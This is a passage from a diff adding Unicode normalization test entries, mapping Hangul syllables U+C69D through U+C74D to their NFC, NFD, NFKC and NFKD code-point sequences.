+{ source: [0xC69D], NFC: [0xC69D], NFD: [0x110B, 0x116D, 0x11B0], NFKC: [0xC69D], NFKD: [0x110B, 0x116D, 0x11B0] },
+{ source: [0xC69E], NFC: [0xC69E], NFD: [0x110B, 0x116D, 0x11B1], NFKC: [0xC69E], NFKD: [0x110B, 0x116D, 0x11B1] },
+{ source: [0xC69F], NFC: [0xC69F], NFD: [0x110B, 0x116D, 0x11B2], NFKC: [0xC69F], NFKD: [0x110B, 0x116D, 0x11B2] },
+{ source: [0xC6A0], NFC: [0xC6A0], NFD: [0x110B, 0x116D, 0x11B3], NFKC: [0xC6A0], NFKD: [0x110B, 0x116D, 0x11B3] },
+{ source: [0xC6A1], NFC: [0xC6A1], NFD: [0x110B, 0x116D, 0x11B4], NFKC: [0xC6A1], NFKD: [0x110B, 0x116D, 0x11B4] },
+{ source: [0xC6A2], NFC: [0xC6A2], NFD: [0x110B, 0x116D, 0x11B5], NFKC: [0xC6A2], NFKD: [0x110B, 0x116D, 0x11B5] },
+{ source: [0xC6A3], NFC: [0xC6A3], NFD: [0x110B, 0x116D, 0x11B6], NFKC: [0xC6A3], NFKD: [0x110B, 0x116D, 0x11B6] },
+{ source: [0xC6A4], NFC: [0xC6A4], NFD: [0x110B, 0x116D, 0x11B7], NFKC: [0xC6A4], NFKD: [0x110B, 0x116D, 0x11B7] },
+{ source: [0xC6A5], NFC: [0xC6A5], NFD: [0x110B, 0x116D, 0x11B8], NFKC: [0xC6A5], NFKD: [0x110B, 0x116D, 0x11B8] },
+{ source: [0xC6A6], NFC: [0xC6A6], NFD: [0x110B, 0x116D, 0x11B9], NFKC: [0xC6A6], NFKD: [0x110B, 0x116D, 0x11B9] },
+{ source: [0xC6A7], NFC: [0xC6A7], NFD: [0x110B, 0x116D, 0x11BA], NFKC: [0xC6A7], NFKD: [0x110B, 0x116D, 0x11BA] },
+{ source: [0xC6A8], NFC: [0xC6A8], NFD: [0x110B, 0x116D, 0x11BB], NFKC: [0xC6A8], NFKD: [0x110B, 0x116D, 0x11BB] },
+{ source: [0xC6A9], NFC: [0xC6A9], NFD: [0x110B, 0x116D, 0x11BC], NFKC: [0xC6A9], NFKD: [0x110B, 0x116D, 0x11BC] },
+{ source: [0xC6AA], NFC: [0xC6AA], NFD: [0x110B, 0x116D, 0x11BD], NFKC: [0xC6AA], NFKD: [0x110B, 0x116D, 0x11BD] },
+{ source: [0xC6AB], NFC: [0xC6AB], NFD: [0x110B, 0x116D, 0x11BE], NFKC: [0xC6AB], NFKD: [0x110B, 0x116D, 0x11BE] },
+{ source: [0xC6AC], NFC: [0xC6AC], NFD: [0x110B, 0x116D, 0x11BF], NFKC: [0xC6AC], NFKD: [0x110B, 0x116D, 0x11BF] },
+{ source: [0xC6AD], NFC: [0xC6AD], NFD: [0x110B, 0x116D, 0x11C0], NFKC: [0xC6AD], NFKD: [0x110B, 0x116D, 0x11C0] },
+{ source: [0xC6AE], NFC: [0xC6AE], NFD: [0x110B, 0x116D, 0x11C1], NFKC: [0xC6AE], NFKD: [0x110B, 0x116D, 0x11C1] },
+{ source: [0xC6AF], NFC: [0xC6AF], NFD: [0x110B, 0x116D, 0x11C2], NFKC: [0xC6AF], NFKD: [0x110B, 0x116D, 0x11C2] },
+{ source: [0xC6B0], NFC: [0xC6B0], NFD: [0x110B, 0x116E], NFKC: [0xC6B0], NFKD: [0x110B, 0x116E] },
+{ source: [0xC6B1], NFC: [0xC6B1], NFD: [0x110B, 0x116E, 0x11A8], NFKC: [0xC6B1], NFKD: [0x110B, 0x116E, 0x11A8] },
+{ source: [0xC6B2], NFC: [0xC6B2], NFD: [0x110B, 0x116E, 0x11A9], NFKC: [0xC6B2], NFKD: [0x110B, 0x116E, 0x11A9] },
+{ source: [0xC6B3], NFC: [0xC6B3], NFD: [0x110B, 0x116E, 0x11AA], NFKC: [0xC6B3], NFKD: [0x110B, 0x116E, 0x11AA] },
+{ source: [0xC6B4], NFC: [0xC6B4], NFD: [0x110B, 0x116E, 0x11AB], NFKC: [0xC6B4], NFKD: [0x110B, 0x116E, 0x11AB] },
+{ source: [0xC6B5], NFC: [0xC6B5], NFD: [0x110B, 0x116E, 0x11AC], NFKC: [0xC6B5], NFKD: [0x110B, 0x116E, 0x11AC] },
+{ source: [0xC6B6], NFC: [0xC6B6], NFD: [0x110B, 0x116E, 0x11AD], NFKC: [0xC6B6], NFKD: [0x110B, 0x116E, 0x11AD] },
+{ source: [0xC6B7], NFC: [0xC6B7], NFD: [0x110B, 0x116E, 0x11AE], NFKC: [0xC6B7], NFKD: [0x110B, 0x116E, 0x11AE] },
+{ source: [0xC6B8], NFC: [0xC6B8], NFD: [0x110B, 0x116E, 0x11AF], NFKC: [0xC6B8], NFKD: [0x110B, 0x116E, 0x11AF] },
+{ source: [0xC6B9], NFC: [0xC6B9], NFD: [0x110B, 0x116E, 0x11B0], NFKC: [0xC6B9], NFKD: [0x110B, 0x116E, 0x11B0] },
+{ source: [0xC6BA], NFC: [0xC6BA], NFD: [0x110B, 0x116E, 0x11B1], NFKC: [0xC6BA], NFKD: [0x110B, 0x116E, 0x11B1] },
+{ source: [0xC6BB], NFC: [0xC6BB], NFD: [0x110B, 0x116E, 0x11B2], NFKC: [0xC6BB], NFKD: [0x110B, 0x116E, 0x11B2] },
+{ source: [0xC6BC], NFC: [0xC6BC], NFD: [0x110B, 0x116E, 0x11B3], NFKC: [0xC6BC], NFKD: [0x110B, 0x116E, 0x11B3] },
+{ source: [0xC6BD], NFC: [0xC6BD], NFD: [0x110B, 0x116E, 0x11B4], NFKC: [0xC6BD], NFKD: [0x110B, 0x116E, 0x11B4] },
+{ source: [0xC6BE], NFC: [0xC6BE], NFD: [0x110B, 0x116E, 0x11B5], NFKC: [0xC6BE], NFKD: [0x110B, 0x116E, 0x11B5] },
+{ source: [0xC6BF], NFC: [0xC6BF], NFD: [0x110B, 0x116E, 0x11B6], NFKC: [0xC6BF], NFKD: [0x110B, 0x116E, 0x11B6] },
+{ source: [0xC6C0], NFC: [0xC6C0], NFD: [0x110B, 0x116E, 0x11B7], NFKC: [0xC6C0], NFKD: [0x110B, 0x116E, 0x11B7] },
+{ source: [0xC6C1], NFC: [0xC6C1], NFD: [0x110B, 0x116E, 0x11B8], NFKC: [0xC6C1], NFKD: [0x110B, 0x116E, 0x11B8] },
+{ source: [0xC6C2], NFC: [0xC6C2], NFD: [0x110B, 0x116E, 0x11B9], NFKC: [0xC6C2], NFKD: [0x110B, 0x116E, 0x11B9] },
+{ source: [0xC6C3], NFC: [0xC6C3], NFD: [0x110B, 0x116E, 0x11BA], NFKC: [0xC6C3], NFKD: [0x110B, 0x116E, 0x11BA] },
+{ source: [0xC6C4], NFC: [0xC6C4], NFD: [0x110B, 0x116E, 0x11BB], NFKC: [0xC6C4], NFKD: [0x110B, 0x116E, 0x11BB] },
+{ source: [0xC6C5], NFC: [0xC6C5], NFD: [0x110B, 0x116E, 0x11BC], NFKC: [0xC6C5], NFKD: [0x110B, 0x116E, 0x11BC] },
+{ source: [0xC6C6], NFC: [0xC6C6], NFD: [0x110B, 0x116E, 0x11BD], NFKC: [0xC6C6], NFKD: [0x110B, 0x116E, 0x11BD] },
+{ source: [0xC6C7], NFC: [0xC6C7], NFD: [0x110B, 0x116E, 0x11BE], NFKC: [0xC6C7], NFKD: [0x110B, 0x116E, 0x11BE] },
+{ source: [0xC6C8], NFC: [0xC6C8], NFD: [0x110B, 0x116E, 0x11BF], NFKC: [0xC6C8], NFKD: [0x110B, 0x116E, 0x11BF] },
+{ source: [0xC6C9], NFC: [0xC6C9], NFD: [0x110B, 0x116E, 0x11C0], NFKC: [0xC6C9], NFKD: [0x110B, 0x116E, 0x11C0] },
+{ source: [0xC6CA], NFC: [0xC6CA], NFD: [0x110B, 0x116E, 0x11C1], NFKC: [0xC6CA], NFKD: [0x110B, 0x116E, 0x11C1] },
+{ source: [0xC6CB], NFC: [0xC6CB], NFD: [0x110B, 0x116E, 0x11C2], NFKC: [0xC6CB], NFKD: [0x110B, 0x116E, 0x11C2] },
+{ source: [0xC6CC], NFC: [0xC6CC], NFD: [0x110B, 0x116F], NFKC: [0xC6CC], NFKD: [0x110B, 0x116F] },
+{ source: [0xC6CD], NFC: [0xC6CD], NFD: [0x110B, 0x116F, 0x11A8], NFKC: [0xC6CD], NFKD: [0x110B, 0x116F, 0x11A8] },
+{ source: [0xC6CE], NFC: [0xC6CE], NFD: [0x110B, 0x116F, 0x11A9], NFKC: [0xC6CE], NFKD: [0x110B, 0x116F, 0x11A9] },
+{ source: [0xC6CF], NFC: [0xC6CF], NFD: [0x110B, 0x116F, 0x11AA], NFKC: [0xC6CF], NFKD: [0x110B, 0x116F, 0x11AA] },
+{ source: [0xC6D0], NFC: [0xC6D0], NFD: [0x110B, 0x116F, 0x11AB], NFKC: [0xC6D0], NFKD: [0x110B, 0x116F, 0x11AB] },
+{ source: [0xC6D1], NFC: [0xC6D1], NFD: [0x110B, 0x116F, 0x11AC], NFKC: [0xC6D1], NFKD: [0x110B, 0x116F, 0x11AC] },
+{ source: [0xC6D2], NFC: [0xC6D2], NFD: [0x110B, 0x116F, 0x11AD], NFKC: [0xC6D2], NFKD: [0x110B, 0x116F, 0x11AD] },
+{ source: [0xC6D3], NFC: [0xC6D3], NFD: [0x110B, 0x116F, 0x11AE], NFKC: [0xC6D3], NFKD: [0x110B, 0x116F, 0x11AE] },
+{ source: [0xC6D4], NFC: [0xC6D4], NFD: [0x110B, 0x116F, 0x11AF], NFKC: [0xC6D4], NFKD: [0x110B, 0x116F, 0x11AF] },
+{ source: [0xC6D5], NFC: [0xC6D5], NFD: [0x110B, 0x116F, 0x11B0], NFKC: [0xC6D5], NFKD: [0x110B, 0x116F, 0x11B0] },
+{ source: [0xC6D6], NFC: [0xC6D6], NFD: [0x110B, 0x116F, 0x11B1], NFKC: [0xC6D6], NFKD: [0x110B, 0x116F, 0x11B1] },
+{ source: [0xC6D7], NFC: [0xC6D7], NFD: [0x110B, 0x116F, 0x11B2], NFKC: [0xC6D7], NFKD: [0x110B, 0x116F, 0x11B2] },
+{ source: [0xC6D8], NFC: [0xC6D8], NFD: [0x110B, 0x116F, 0x11B3], NFKC: [0xC6D8], NFKD: [0x110B, 0x116F, 0x11B3] },
+{ source: [0xC6D9], NFC: [0xC6D9], NFD: [0x110B, 0x116F, 0x11B4], NFKC: [0xC6D9], NFKD: [0x110B, 0x116F, 0x11B4] },
+{ source: [0xC6DA], NFC: [0xC6DA], NFD: [0x110B, 0x116F, 0x11B5], NFKC: [0xC6DA], NFKD: [0x110B, 0x116F, 0x11B5] },
+{ source: [0xC6DB], NFC: [0xC6DB], NFD: [0x110B, 0x116F, 0x11B6], NFKC: [0xC6DB], NFKD: [0x110B, 0x116F, 0x11B6] },
+{ source: [0xC6DC], NFC: [0xC6DC], NFD: [0x110B, 0x116F, 0x11B7], NFKC: [0xC6DC], NFKD: [0x110B, 0x116F, 0x11B7] },
+{ source: [0xC6DD], NFC: [0xC6DD], NFD: [0x110B, 0x116F, 0x11B8], NFKC: [0xC6DD], NFKD: [0x110B, 0x116F, 0x11B8] },
+{ source: [0xC6DE], NFC: [0xC6DE], NFD: [0x110B, 0x116F, 0x11B9], NFKC: [0xC6DE], NFKD: [0x110B, 0x116F, 0x11B9] },
+{ source: [0xC6DF], NFC: [0xC6DF], NFD: [0x110B, 0x116F, 0x11BA], NFKC: [0xC6DF], NFKD: [0x110B, 0x116F, 0x11BA] },
+{ source: [0xC6E0], NFC: [0xC6E0], NFD: [0x110B, 0x116F, 0x11BB], NFKC: [0xC6E0], NFKD: [0x110B, 0x116F, 0x11BB] },
+{ source: [0xC6E1], NFC: [0xC6E1], NFD: [0x110B, 0x116F, 0x11BC], NFKC: [0xC6E1], NFKD: [0x110B, 0x116F, 0x11BC] },
+{ source: [0xC6E2], NFC: [0xC6E2], NFD: [0x110B, 0x116F, 0x11BD], NFKC: [0xC6E2], NFKD: [0x110B, 0x116F, 0x11BD] },
+{ source: [0xC6E3], NFC: [0xC6E3], NFD: [0x110B, 0x116F, 0x11BE], NFKC: [0xC6E3], NFKD: [0x110B, 0x116F, 0x11BE] },
+{ source: [0xC6E4], NFC: [0xC6E4], NFD: [0x110B, 0x116F, 0x11BF], NFKC: [0xC6E4], NFKD: [0x110B, 0x116F, 0x11BF] },
+{ source: [0xC6E5], NFC: [0xC6E5], NFD: [0x110B, 0x116F, 0x11C0], NFKC: [0xC6E5], NFKD: [0x110B, 0x116F, 0x11C0] },
+{ source: [0xC6E6], NFC: [0xC6E6], NFD: [0x110B, 0x116F, 0x11C1], NFKC: [0xC6E6], NFKD: [0x110B, 0x116F, 0x11C1] },
+{ source: [0xC6E7], NFC: [0xC6E7], NFD: [0x110B, 0x116F, 0x11C2], NFKC: [0xC6E7], NFKD: [0x110B, 0x116F, 0x11C2] },
+{ source: [0xC6E8], NFC: [0xC6E8], NFD: [0x110B, 0x1170], NFKC: [0xC6E8], NFKD: [0x110B, 0x1170] },
+{ source: [0xC6E9], NFC: [0xC6E9], NFD: [0x110B, 0x1170, 0x11A8], NFKC: [0xC6E9], NFKD: [0x110B, 0x1170, 0x11A8] },
+{ source: [0xC6EA], NFC: [0xC6EA], NFD: [0x110B, 0x1170, 0x11A9], NFKC: [0xC6EA], NFKD: [0x110B, 0x1170, 0x11A9] },
+{ source: [0xC6EB], NFC: [0xC6EB], NFD: [0x110B, 0x1170, 0x11AA], NFKC: [0xC6EB], NFKD: [0x110B, 0x1170, 0x11AA] },
+{ source: [0xC6EC], NFC: [0xC6EC], NFD: [0x110B, 0x1170, 0x11AB], NFKC: [0xC6EC], NFKD: [0x110B, 0x1170, 0x11AB] },
+{ source: [0xC6ED], NFC: [0xC6ED], NFD: [0x110B, 0x1170, 0x11AC], NFKC: [0xC6ED], NFKD: [0x110B, 0x1170, 0x11AC] },
+{ source: [0xC6EE], NFC: [0xC6EE], NFD: [0x110B, 0x1170, 0x11AD], NFKC: [0xC6EE], NFKD: [0x110B, 0x1170, 0x11AD] },
+{ source: [0xC6EF], NFC: [0xC6EF], NFD: [0x110B, 0x1170, 0x11AE], NFKC: [0xC6EF], NFKD: [0x110B, 0x1170, 0x11AE] },
+{ source: [0xC6F0], NFC: [0xC6F0], NFD: [0x110B, 0x1170, 0x11AF], NFKC: [0xC6F0], NFKD: [0x110B, 0x1170, 0x11AF] },
+{ source: [0xC6F1], NFC: [0xC6F1], NFD: [0x110B, 0x1170, 0x11B0], NFKC: [0xC6F1], NFKD: [0x110B, 0x1170, 0x11B0] },
+{ source: [0xC6F2], NFC: [0xC6F2], NFD: [0x110B, 0x1170, 0x11B1], NFKC: [0xC6F2], NFKD: [0x110B, 0x1170, 0x11B1] },
+{ source: [0xC6F3], NFC: [0xC6F3], NFD: [0x110B, 0x1170, 0x11B2], NFKC: [0xC6F3], NFKD: [0x110B, 0x1170, 0x11B2] },
+{ source: [0xC6F4], NFC: [0xC6F4], NFD: [0x110B, 0x1170, 0x11B3], NFKC: [0xC6F4], NFKD: [0x110B, 0x1170, 0x11B3] },
+{ source: [0xC6F5], NFC: [0xC6F5], NFD: [0x110B, 0x1170, 0x11B4], NFKC: [0xC6F5], NFKD: [0x110B, 0x1170, 0x11B4] },
+{ source: [0xC6F6], NFC: [0xC6F6], NFD: [0x110B, 0x1170, 0x11B5], NFKC: [0xC6F6], NFKD: [0x110B, 0x1170, 0x11B5] },
+{ source: [0xC6F7], NFC: [0xC6F7], NFD: [0x110B, 0x1170, 0x11B6], NFKC: [0xC6F7], NFKD: [0x110B, 0x1170, 0x11B6] },
+{ source: [0xC6F8], NFC: [0xC6F8], NFD: [0x110B, 0x1170, 0x11B7], NFKC: [0xC6F8], NFKD: [0x110B, 0x1170, 0x11B7] },
+{ source: [0xC6F9], NFC: [0xC6F9], NFD: [0x110B, 0x1170, 0x11B8], NFKC: [0xC6F9], NFKD: [0x110B, 0x1170, 0x11B8] },
+{ source: [0xC6FA], NFC: [0xC6FA], NFD: [0x110B, 0x1170, 0x11B9], NFKC: [0xC6FA], NFKD: [0x110B, 0x1170, 0x11B9] },
+{ source: [0xC6FB], NFC: [0xC6FB], NFD: [0x110B, 0x1170, 0x11BA], NFKC: [0xC6FB], NFKD: [0x110B, 0x1170, 0x11BA] },
+{ source: [0xC6FC], NFC: [0xC6FC], NFD: [0x110B, 0x1170, 0x11BB], NFKC: [0xC6FC], NFKD: [0x110B, 0x1170, 0x11BB] },
+{ source: [0xC6FD], NFC: [0xC6FD], NFD: [0x110B, 0x1170, 0x11BC], NFKC: [0xC6FD], NFKD: [0x110B, 0x1170, 0x11BC] },
+{ source: [0xC6FE], NFC: [0xC6FE], NFD: [0x110B, 0x1170, 0x11BD], NFKC: [0xC6FE], NFKD: [0x110B, 0x1170, 0x11BD] },
+{ source: [0xC6FF], NFC: [0xC6FF], NFD: [0x110B, 0x1170, 0x11BE], NFKC: [0xC6FF], NFKD: [0x110B, 0x1170, 0x11BE] },
+{ source: [0xC700], NFC: [0xC700], NFD: [0x110B, 0x1170, 0x11BF], NFKC: [0xC700], NFKD: [0x110B, 0x1170, 0x11BF] },
+{ source: [0xC701], NFC: [0xC701], NFD: [0x110B, 0x1170, 0x11C0], NFKC: [0xC701], NFKD: [0x110B, 0x1170, 0x11C0] },
+{ source: [0xC702], NFC: [0xC702], NFD: [0x110B, 0x1170, 0x11C1], NFKC: [0xC702], NFKD: [0x110B, 0x1170, 0x11C1] },
+{ source: [0xC703], NFC: [0xC703], NFD: [0x110B, 0x1170, 0x11C2], NFKC: [0xC703], NFKD: [0x110B, 0x1170, 0x11C2] },
+{ source: [0xC704], NFC: [0xC704], NFD: [0x110B, 0x1171], NFKC: [0xC704], NFKD: [0x110B, 0x1171] },
+{ source: [0xC705], NFC: [0xC705], NFD: [0x110B, 0x1171, 0x11A8], NFKC: [0xC705], NFKD: [0x110B, 0x1171, 0x11A8] },
+{ source: [0xC706], NFC: [0xC706], NFD: [0x110B, 0x1171, 0x11A9], NFKC: [0xC706], NFKD: [0x110B, 0x1171, 0x11A9] },
+{ source: [0xC707], NFC: [0xC707], NFD: [0x110B, 0x1171, 0x11AA], NFKC: [0xC707], NFKD: [0x110B, 0x1171, 0x11AA] },
+{ source: [0xC708], NFC: [0xC708], NFD: [0x110B, 0x1171, 0x11AB], NFKC: [0xC708], NFKD: [0x110B, 0x1171, 0x11AB] },
+{ source: [0xC709], NFC: [0xC709], NFD: [0x110B, 0x1171, 0x11AC], NFKC: [0xC709], NFKD: [0x110B, 0x1171, 0x11AC] },
+{ source: [0xC70A], NFC: [0xC70A], NFD: [0x110B, 0x1171, 0x11AD], NFKC: [0xC70A], NFKD: [0x110B, 0x1171, 0x11AD] },
+{ source: [0xC70B], NFC: [0xC70B], NFD: [0x110B, 0x1171, 0x11AE], NFKC: [0xC70B], NFKD: [0x110B, 0x1171, 0x11AE] },
+{ source: [0xC70C], NFC: [0xC70C], NFD: [0x110B, 0x1171, 0x11AF], NFKC: [0xC70C], NFKD: [0x110B, 0x1171, 0x11AF] },
+{ source: [0xC70D], NFC: [0xC70D], NFD: [0x110B, 0x1171, 0x11B0], NFKC: [0xC70D], NFKD: [0x110B, 0x1171, 0x11B0] },
+{ source: [0xC70E], NFC: [0xC70E], NFD: [0x110B, 0x1171, 0x11B1], NFKC: [0xC70E], NFKD: [0x110B, 0x1171, 0x11B1] },
+{ source: [0xC70F], NFC: [0xC70F], NFD: [0x110B, 0x1171, 0x11B2], NFKC: [0xC70F], NFKD: [0x110B, 0x1171, 0x11B2] },
+{ source: [0xC710], NFC: [0xC710], NFD: [0x110B, 0x1171, 0x11B3], NFKC: [0xC710], NFKD: [0x110B, 0x1171, 0x11B3] },
+{ source: [0xC711], NFC: [0xC711], NFD: [0x110B, 0x1171, 0x11B4], NFKC: [0xC711], NFKD: [0x110B, 0x1171, 0x11B4] },
+{ source: [0xC712], NFC: [0xC712], NFD: [0x110B, 0x1171, 0x11B5], NFKC: [0xC712], NFKD: [0x110B, 0x1171, 0x11B5] },
+{ source: [0xC713], NFC: [0xC713], NFD: [0x110B, 0x1171, 0x11B6], NFKC: [0xC713], NFKD: [0x110B, 0x1171, 0x11B6] },
+{ source: [0xC714], NFC: [0xC714], NFD: [0x110B, 0x1171, 0x11B7], NFKC: [0xC714], NFKD: [0x110B, 0x1171, 0x11B7] },
+{ source: [0xC715], NFC: [0xC715], NFD: [0x110B, 0x1171, 0x11B8], NFKC: [0xC715], NFKD: [0x110B, 0x1171, 0x11B8] },
+{ source: [0xC716], NFC: [0xC716], NFD: [0x110B, 0x1171, 0x11B9], NFKC: [0xC716], NFKD: [0x110B, 0x1171, 0x11B9] },
+{ source: [0xC717], NFC: [0xC717], NFD: [0x110B, 0x1171, 0x11BA], NFKC: [0xC717], NFKD: [0x110B, 0x1171, 0x11BA] },
+{ source: [0xC718], NFC: [0xC718], NFD: [0x110B, 0x1171, 0x11BB], NFKC: [0xC718], NFKD: [0x110B, 0x1171, 0x11BB] },
+{ source: [0xC719], NFC: [0xC719], NFD: [0x110B, 0x1171, 0x11BC], NFKC: [0xC719], NFKD: [0x110B, 0x1171, 0x11BC] },
+{ source: [0xC71A], NFC: [0xC71A], NFD: [0x110B, 0x1171, 0x11BD], NFKC: [0xC71A], NFKD: [0x110B, 0x1171, 0x11BD] },
+{ source: [0xC71B], NFC: [0xC71B], NFD: [0x110B, 0x1171, 0x11BE], NFKC: [0xC71B], NFKD: [0x110B, 0x1171, 0x11BE] },
+{ source: [0xC71C], NFC: [0xC71C], NFD: [0x110B, 0x1171, 0x11BF], NFKC: [0xC71C], NFKD: [0x110B, 0x1171, 0x11BF] },
+{ source: [0xC71D], NFC: [0xC71D], NFD: [0x110B, 0x1171, 0x11C0], NFKC: [0xC71D], NFKD: [0x110B, 0x1171, 0x11C0] },
+{ source: [0xC71E], NFC: [0xC71E], NFD: [0x110B, 0x1171, 0x11C1], NFKC: [0xC71E], NFKD: [0x110B, 0x1171, 0x11C1] },
+{ source: [0xC71F], NFC: [0xC71F], NFD: [0x110B, 0x1171, 0x11C2], NFKC: [0xC71F], NFKD: [0x110B, 0x1171, 0x11C2] },
+{ source: [0xC720], NFC: [0xC720], NFD: [0x110B, 0x1172], NFKC: [0xC720], NFKD: [0x110B, 0x1172] },
+{ source: [0xC721], NFC: [0xC721], NFD: [0x110B, 0x1172, 0x11A8], NFKC: [0xC721], NFKD: [0x110B, 0x1172, 0x11A8] },
+{ source: [0xC722], NFC: [0xC722], NFD: [0x110B, 0x1172, 0x11A9], NFKC: [0xC722], NFKD: [0x110B, 0x1172, 0x11A9] },
+{ source: [0xC723], NFC: [0xC723], NFD: [0x110B, 0x1172, 0x11AA], NFKC: [0xC723], NFKD: [0x110B, 0x1172, 0x11AA] },
+{ source: [0xC724], NFC: [0xC724], NFD: [0x110B, 0x1172, 0x11AB], NFKC: [0xC724], NFKD: [0x110B, 0x1172, 0x11AB] },
+{ source: [0xC725], NFC: [0xC725], NFD: [0x110B, 0x1172, 0x11AC], NFKC: [0xC725], NFKD: [0x110B, 0x1172, 0x11AC] },
+{ source: [0xC726], NFC: [0xC726], NFD: [0x110B, 0x1172, 0x11AD], NFKC: [0xC726], NFKD: [0x110B, 0x1172, 0x11AD] },
+{ source: [0xC727], NFC: [0xC727], NFD: [0x110B, 0x1172, 0x11AE], NFKC: [0xC727], NFKD: [0x110B, 0x1172, 0x11AE] },
+{ source: [0xC728], NFC: [0xC728], NFD: [0x110B, 0x1172, 0x11AF], NFKC: [0xC728], NFKD: [0x110B, 0x1172, 0x11AF] },
+{ source: [0xC729], NFC: [0xC729], NFD: [0x110B, 0x1172, 0x11B0], NFKC: [0xC729], NFKD: [0x110B, 0x1172, 0x11B0] },
+{ source: [0xC72A], NFC: [0xC72A], NFD: [0x110B, 0x1172, 0x11B1], NFKC: [0xC72A], NFKD: [0x110B, 0x1172, 0x11B1] },
+{ source: [0xC72B], NFC: [0xC72B], NFD: [0x110B, 0x1172, 0x11B2], NFKC: [0xC72B], NFKD: [0x110B, 0x1172, 0x11B2] },
+{ source: [0xC72C], NFC: [0xC72C], NFD: [0x110B, 0x1172, 0x11B3], NFKC: [0xC72C], NFKD: [0x110B, 0x1172, 0x11B3] },
+{ source: [0xC72D], NFC: [0xC72D], NFD: [0x110B, 0x1172, 0x11B4], NFKC: [0xC72D], NFKD: [0x110B, 0x1172, 0x11B4] },
+{ source: [0xC72E], NFC: [0xC72E], NFD: [0x110B, 0x1172, 0x11B5], NFKC: [0xC72E], NFKD: [0x110B, 0x1172, 0x11B5] },
+{ source: [0xC72F], NFC: [0xC72F], NFD: [0x110B, 0x1172, 0x11B6], NFKC: [0xC72F], NFKD: [0x110B, 0x1172, 0x11B6] },
+{ source: [0xC730], NFC: [0xC730], NFD: [0x110B, 0x1172, 0x11B7], NFKC: [0xC730], NFKD: [0x110B, 0x1172, 0x11B7] },
+{ source: [0xC731], NFC: [0xC731], NFD: [0x110B, 0x1172, 0x11B8], NFKC: [0xC731], NFKD: [0x110B, 0x1172, 0x11B8] },
+{ source: [0xC732], NFC: [0xC732], NFD: [0x110B, 0x1172, 0x11B9], NFKC: [0xC732], NFKD: [0x110B, 0x1172, 0x11B9] },
+{ source: [0xC733], NFC: [0xC733], NFD: [0x110B, 0x1172, 0x11BA], NFKC: [0xC733], NFKD: [0x110B, 0x1172, 0x11BA] },
+{ source: [0xC734], NFC: [0xC734], NFD: [0x110B, 0x1172, 0x11BB], NFKC: [0xC734], NFKD: [0x110B, 0x1172, 0x11BB] },
+{ source: [0xC735], NFC: [0xC735], NFD: [0x110B, 0x1172, 0x11BC], NFKC: [0xC735], NFKD: [0x110B, 0x1172, 0x11BC] },
+{ source: [0xC736], NFC: [0xC736], NFD: [0x110B, 0x1172, 0x11BD], NFKC: [0xC736], NFKD: [0x110B, 0x1172, 0x11BD] },
+{ source: [0xC737], NFC: [0xC737], NFD: [0x110B, 0x1172, 0x11BE], NFKC: [0xC737], NFKD: [0x110B, 0x1172, 0x11BE] },
+{ source: [0xC738], NFC: [0xC738], NFD: [0x110B, 0x1172, 0x11BF], NFKC: [0xC738], NFKD: [0x110B, 0x1172, 0x11BF] },
+{ source: [0xC739], NFC: [0xC739], NFD: [0x110B, 0x1172, 0x11C0], NFKC: [0xC739], NFKD: [0x110B, 0x1172, 0x11C0] },
+{ source: [0xC73A], NFC: [0xC73A], NFD: [0x110B, 0x1172, 0x11C1], NFKC: [0xC73A], NFKD: [0x110B, 0x1172, 0x11C1] },
+{ source: [0xC73B], NFC: [0xC73B], NFD: [0x110B, 0x1172, 0x11C2], NFKC: [0xC73B], NFKD: [0x110B, 0x1172, 0x11C2] },
+{ source: [0xC73C], NFC: [0xC73C], NFD: [0x110B, 0x1173], NFKC: [0xC73C], NFKD: [0x110B, 0x1173] },
+{ source: [0xC73D], NFC: [0xC73D], NFD: [0x110B, 0x1173, 0x11A8], NFKC: [0xC73D], NFKD: [0x110B, 0x1173, 0x11A8] },
+{ source: [0xC73E], NFC: [0xC73E], NFD: [0x110B, 0x1173, 0x11A9], NFKC: [0xC73E], NFKD: [0x110B, 0x1173, 0x11A9] },
+{ source: [0xC73F], NFC: [0xC73F], NFD: [0x110B, 0x1173, 0x11AA], NFKC: [0xC73F], NFKD: [0x110B, 0x1173, 0x11AA] },
+{ source: [0xC740], NFC: [0xC740], NFD: [0x110B, 0x1173, 0x11AB], NFKC: [0xC740], NFKD: [0x110B, 0x1173, 0x11AB] },
+{ source: [0xC741], NFC: [0xC741], NFD: [0x110B, 0x1173, 0x11AC], NFKC: [0xC741], NFKD: [0x110B, 0x1173, 0x11AC] },
+{ source: [0xC742], NFC: [0xC742], NFD: [0x110B, 0x1173, 0x11AD], NFKC: [0xC742], NFKD: [0x110B, 0x1173, 0x11AD] },
+{ source: [0xC743], NFC: [0xC743], NFD: [0x110B, 0x1173, 0x11AE], NFKC: [0xC743], NFKD: [0x110B, 0x1173, 0x11AE] },
+{ source: [0xC744], NFC: [0xC744], NFD: [0x110B, 0x1173, 0x11AF], NFKC: [0xC744], NFKD: [0x110B, 0x1173, 0x11AF] },
+{ source: [0xC745], NFC: [0xC745], NFD: [0x110B, 0x1173, 0x11B0], NFKC: [0xC745], NFKD: [0x110B, 0x1173, 0x11B0] },
+{ source: [0xC746], NFC: [0xC746], NFD: [0x110B, 0x1173, 0x11B1], NFKC: [0xC746], NFKD: [0x110B, 0x1173, 0x11B1] },
+{ source: [0xC747], NFC: [0xC747], NFD: [0x110B, 0x1173, 0x11B2], NFKC: [0xC747], NFKD: [0x110B, 0x1173, 0x11B2] },
+{ source: [0xC748], NFC: [0xC748], NFD: [0x110B, 0x1173, 0x11B3], NFKC: [0xC748], NFKD: [0x110B, 0x1173, 0x11B3] },
+{ source: [0xC749], NFC: [0xC749], NFD: [0x110B, 0x1173, 0x11B4], NFKC: [0xC749], NFKD: [0x110B, 0x1173, 0x11B4] },
+{ source: [0xC74A], NFC: [0xC74A], NFD: [0x110B, 0x1173, 0x11B5], NFKC: [0xC74A], NFKD: [0x110B, 0x1173, 0x11B5] },
+{ source: [0xC74B], NFC: [0xC74B], NFD: [0x110B, 0x1173, 0x11B6], NFKC: [0xC74B], NFKD: [0x110B, 0x1173, 0x11B6] },
+{ source: [0xC74C], NFC: [0xC74C], NFD: [0x110B, 0x1173, 0x11B7], NFKC: [0xC74C], NFKD: [0x110B, 0x1173, 0x11B7] },
+{ source: [0xC74D], NFC: [0xC74D], NFD: [0x110B, 0x1173, 0x11B8], NFKC: [0xC74D], NFKD: [0x110B, 0x1173, 0x11B8] },
